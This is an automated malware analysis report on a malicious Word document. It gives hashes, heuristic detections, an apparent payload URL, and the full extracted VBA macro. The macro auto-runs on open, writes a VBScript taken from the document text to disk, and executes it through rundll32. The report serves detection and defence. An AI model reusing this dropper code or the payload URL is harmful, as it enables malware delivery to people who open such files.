Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ba5bfba9a0babc6e…

MALICIOUS

Office (OOXML)

205.2 KB Created: 2020-08-17 16:48:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2020-09-07
MD5: 07cd0b3e1e47000c4316ee13e1c1a32f SHA-1: 182adfc66d45a0797ce7b564a2c09f0187e4a1b7 SHA-256: ba5bfba9a0babc6ed990e41744ddf221773d6794fcd85b5f902499424c1b0c3f
422 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a malicious VBA macro with an auto-executing Document_Open subroutine. This macro attempts to create a folder and a VBScript file named 'aktuellen.vbs' in 'c:\..\Detail\'. It then uses 'rundll32.exe' to execute this VBScript, which likely downloads and runs a second-stage payload. The presence of obfuscated code and the use of GetObject and CreateObject point to a downloader or dropper functionality.

Heuristics 9

  • ClamAV: Doc.Malware.Generickdz-9757254-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generickdz-9757254-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://yektairon.com/brands/goodmanstory.php In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 622 bytes
SHA-256: 3dd6d2305a38bf211cbf549ac10eb1da73a2b9ea16532d214ccc37312ae13bc3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Document5"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True


Private Sub Document_Open()
Set n = New FileSystemObject
n.CreateFolder "c:\..\Detail"
Set s = n.CreateTextFile("c:\..\Detail\aktuellen.vbs")
s.WriteLine (Right(Range.Text, 60994))
Set pid = GetObject(Left(Range.Text, 22))
pid.create "rundll32.exe URL.dll,FileProtocolHandler c:\..\Detail\aktuellen.vbs", Null, Null, 0
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 9728 bytes
SHA-256: 91d88aa7328b480a4f21e6313e086b2978712d33b1e5df723a73bb0382362d47
Detection
ClamAV: Doc.Malware.Generickdz-9757254-0
Obfuscation or payload: unlikely

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